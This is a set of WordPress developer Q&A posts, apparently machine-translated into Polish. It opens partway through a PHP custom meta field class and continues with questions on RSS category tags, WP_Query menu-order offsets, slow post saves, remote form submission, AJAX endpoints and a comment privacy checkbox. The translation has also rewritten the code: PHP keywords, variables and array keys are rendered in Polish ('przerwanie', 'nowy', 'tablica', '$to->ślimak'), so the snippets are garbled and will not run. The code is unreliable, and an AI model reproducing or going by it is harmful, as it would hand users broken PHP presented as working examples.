$prefiks = NULL; public $post_type = 'post'; //Typ ekranu zapisu, na którym ma być wyświetlana meta: 'post', 'page', 'dashboard', 'link', 'attachment' lub 'custom_post_type' public $meta_box_location = 'normal'; //'normalny', 'zaawansowany' lub 'boczny' public $meta_box_priority = 'default'; //'high', 'core', 'default' lub 'low' public $meta_box_field_type = NULL; public function __construct( $custom_field_name, $args=array() ) { #ustaw nazwę $this->name = $custom_field_name; #ustaw ślimak if (isset($args['slug'])) { $this->slug = $args['slug']; } else { $slug = strtolower($custom_field_name); $slug = str_replace(' ', '_', $slug); $to->ślimak = $ślimak; } #ustaw meta_box_field_type if (isset($args['field_type'])) { switch ($args['field_type']) { case 'text': $this->meta_box_field_type = 'text'; przerwanie; wielkość liter 'textarea': $this->meta_box_field_type = 'textarea'; przerwanie; domyślnie: $this->meta_box_field_type = 'tekst'; przerwanie; } } else { $this->meta_box_field_type = 'tekst'; } // add_action( 'add_meta_boxes', array($this, '_add_custom_metaboxes')); // add_action( 'save_post', array($this, '_save_postdata')); add_action( 'add_meta_boxes', array(&$this, '_add_custom_metaboxes')); add_action( 'save_post', array(&$this, '_save_postdata')); //var_dump( is_object( array($this, '_add_custom_metaboxes')) )); } // public function go() { // add_action( 'add_meta_boxes', array($this, '_add_custom_metaboxes')); // add_action( 'save_post', array($this, '_save_postdata')); // } #Wypisz kod HTML tego pola meta... public function _print_field_HTML( $post ) { $value = get_post_meta( $post->ID, $this->slug, true ); // Dodaj pole nonce, abyśmy mogli sprawdzić je później. wp_nonce_field ( $to-> ślimak.'_custom_box', $to-> ślimak.'_custom_box_nonce' ); echo '<label for="'.$this->slug.'">'.$this->nazwa.'</label> '; echo '<input type="text" id="'.$this->slug.'" name="'.$this->slug.'" value="' .esc_attr( $value) .'" size= "25" />'; //TODO: Dodaj przycisk aktualizacji //TODO: Dodaj przycisk usuwania } public function _add_custom_metaboxes() { #http://codex.wordpress.org/Function_Reference/add_meta_box add_meta_box( NULL, $this->name, array(&$this , '_print_field_HTML'), $this->post_type, $this->meta_box_location, $this->meta_box_priority, NULL ); } /** * Kiedy wpis jest zapisywany, zapisuje nasze niestandardowe dane. * @param int $post_id Identyfikator zapisywanego posta. */ public function _save_postdata( $post_id ) { /* * Musimy zweryfikować, że to pochodzi z naszego ekranu i przy odpowiedniej autoryzacji, * ponieważ save_post może zostać wywołany w innym czasie. */ // Sprawdź, czy nasz nonce jest ustawiony. if ( ! isset( $_POST[$this->slug.'_custom_box_nonce'] ) ) return $post_id; #http://codex.wordpress.org/Function_Reference/wp_nonce_field $nonce = $_POST[$this->slug.'_custom_box_nonce']; // Sprawdź, czy numer jednorazowy jest poprawny. if (! wp_verify_nonce( $nonce, $this->slug.'_custom_box')) return $post_id; // Jeśli to jest autozapis, nasz formularz nie został przesłany, więc nie chcemy nic robić. if ( define( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) return $post_id; if ( ! current_user_can( 'edit_post', $post_id )) return $post_id; /* OK, teraz możemy bezpiecznie zapisać dane. */ // Oczyść dane wejściowe użytkownika. $mydata = sanitize_text_field( $_POST[$this->slug] ); // Zaktualizuj pole meta w bazie danych. update_post_meta( $post_id, $this->slug, $mydata ); } } nowy SDP_Custom_Field( 'Foo' ); nowy SDP_Custom_Field( 'Pasek' );


title: Jak mogę wykluczyć tagi z funkcji category_rss?

text: Zmagałem się z następującym problemem: Domyślny kanał RSS Wordpress zawiera również tagi w funkcji kategorii. W rezultacie, jeśli użyjesz znacznika scalania, aby wyświetlić kategorię postów (tj. Używam kampanii RSS na Mailchimp do wysyłania e-maili do moich subskrybentów), pokazuje kategorię i dodatkowo wszystkie tagi. Rozejrzałem się i znalazłem plik '/wp-includes/feed.php' w wierszu #301, tam jest odpowiedni kod. Załączam to również tutaj: function get_the_category_rss($type = null) { if ( empty($type) ) $type = get_default_feed(); $kategorie = get_the_category(); $tags = get_the_tags(); $lista = ''; $nazwy_kotów = tablica(); $filtr = 'rss'; if ( 'atom' == $type ) $filter = 'surowy'; if ( !empty($categories) ) foreach ( (tablica) $categories as $category ) { $cat_names[] = sanitize_term_field('name', $category->name, $category->term_id, 'category', $filter ); } if ( !empty($tags) ) foreach ( (tablica) $tags as $tag ) { $cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $ filtr); } $cat_names = array_unique($cat_names); foreach ( $cat_names as $cat_name ) { if ( 'rdf' == $type ) $the_list .= "\t\t<dc:subject><![CDATA[$cat_name]]></dc:subject>\ n"; elseif ( 'atom' == $type ) $the_list .= sprintf( '<category scheme="%1$s" term="%2$s" />', esc_attr( apply_filters( 'get_bloginfo_rss', get_bloginfo( ' url' ) ) ), esc_attr( $nazwa_kota ) ); else $the_list .= "\t\t<kategoria><![CDATA[" . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . "]]></kategoria>\n"; } return apply_filters('the_category_rss', $the_list, $type); } Rozumiem, że mogę rozwiązać problem, usuwając następujące wiersze: $tags = get_the_tags(); i if ( !empty($tags) ) foreach ( (tablica) $tags as $tag ) { $cat_names[] = sanitize_term_field('name', $tag->name, $tag->term_id, 'post_tag', $ filtr); } Nie chcę jednak edytować podstawowych plików. Próbowałem też znaleźć wtyczkę, ale bez powodzenia. Czy istnieje filtr, którego mógłbym użyć, aby rozwiązać ten problem, aby uniknąć edytowania podstawowych plików? Z góry dziękujemy za wszelką pomoc! Kat


title: WP Query Exclude and Start by Menu Order Offset

text: Mam zestaw postów w niestandardowym typie postów, którym nadałem atrybuty kolejności menu. Mam nadzieję, że użyję `wp_query` do zapytania pierwszych 3 według kolejności menu, a następnie następnych 3 według kolejności menu. Na przykład - Jeśli mam listę postów z atrybutem porządku menu równym 1,2,3 - $args = array( 'post_type' => 'my-post-type', 'posts_per_page' => 3, 'order_by' => 'zamówienie_menu', 'zamówienie' => 'ASC' ); $pętla = nowe WP_Query( $args ); while ( $loop->have_posts() ): $loop->the_post(); Jak mogę wykonać inne zapytanie podobne do tego, ale zacząć od czwartego postu w oparciu o kolejność menu, aby uzyskać 4,5,6? Myślę, że mogę użyć `post__not_in` i podać ich specyficzne identyfikatory, ale chciałbym zachować dynamikę i zająć się tylko `menu_order`.


title: Aktualizacja postu lub strony Wordpress zajmuje ponad 60 sekund

text: Od czasu aktualizacji do Wordpress 3.5 moje aktualizacje stron i postów stały się zbyt wolne. Synchronizowałem je i ich aktualizacja zajmuje 40-80 sekund. Spędziłem ostatnie 2 godziny czytając i próbując wszystkiego, co mogę znaleźć na forach Wordpress.org, ale nic nie działa. Używam maxcdn i CloudFlare z przodu, ale tył jest nie do zniesienia. Jestem na instalacji MU przy użyciu 3.5.2 i wyłączyłem i przetestowałem każdą wtyczkę. Wydaje się, że jest to problem z Wordpress i szukam obejścia. Korzystam z dwurdzeniowego VPS z 3 GB pamięci RAM.


title: Przesłać formularz zapisany w jednej wtyczce z innej wtyczki?

text: Mam dwie wtyczki `pluginA` i `pluginB`. `PluginA` zawiera formularz z jednym przyciskiem, którego naciśnięcie spowoduje wykonanie pewnych obliczeń. `PluginA` działa dobrze, jednak chcę móc przesłać ten formularz zdalnie z innej wtyczki w tej samej witrynie (obie wtyczki znajdują się w tej samej witrynie). Przeprowadziłem dochodzenie i stwierdziłem, że `wp_remote_request` może wykonać zdalne żądanie. Próbowałem użyć go z podstawowym `url` do wtyczki strony, która zawiera formularz, ale zwraca zawartość do logowania. Najwyraźniej musi zawierać dane logowania w nagłówku żądania. Masz pomysł, jak mogę zdalnie przesłać formularz? **KOD** $url = site_url('wp-admin/tools.php?page=dt_documents_tagging_menu&remotely_sumbitted=true'); $args = array( 'metoda'=>'POBIERZ' ); $ wynik = wp_remote_request( $url, $args ); `$result` gdy print_r zwraca formularz logowania


title: Zapytanie ogniowe na stronie ajax post url

text: Tutaj wysyłam odpowiedź ajax do strony load_post.php z mojego wywołania ajax. Otrzymuję odpowiedź na load_post.php na load_post.php Muszę odpalić zapytanie do prasy. Próbowałem tego, ale otrzymywałem poniższy błąd w odpowiedzi. Kiedy dodaję globalną zmienną $wpdb do pliku load_post.php Błąd analizy</b>: błąd składni, nieoczekiwany T_GLOBAL w <b>/home/skovianc/public_html/test/thefoodieclub. com/wp-content/plugins/woocommerce-booking/load_post.php kod ajax var time=0; jQuery("#time_slot").change(function() { time=time_slot.value; $.post("'.plugs_url().'/woocommerce-booking/load_post.php", {name: time}, function( odpowiedź){ console.log(odpowiedź); } ); }); post plik url kod load_post.php tutaj chcę uruchomić zapytanie wpdb <?php session_start(); echo $nazwa= $_POST["nazwa"]; file_put_contents("nazwa.txt", $nazwa) // Zapytanie będzie czymś w rodzaju globalnego $wpdb; echo $query = $wpdb->prepare( "SELECT data_początkowa FROM {$wpdb->prefix}booking_history"); ?> Jak więc uruchomić zapytanie na stronie ajax post url load_post.php


title: Jak dodać pole wyboru prywatności w szablonie komentarza?

text:
muszę dodać pole wyboru prywatności do pliku comment-template.php. Utworzyłem pole wyboru i akapit i jak na razie wygląda dobrze. <input type="pole wyboru" name="privacy" value="privacy-key" class="privacyBox" aria-req="true">
Hiermit akzeptiere ich die Datenschutzbedingungen
 Teraz chcę połączyć to pole wyboru z przyciskiem przesyłania, aby użytkownik MUSIAŁ zaakceptować prywatność do komentowania posta. Ktoś ma wskazówkę, jak to zrobić? A może jest wtyczka, która dostarcza te usługi?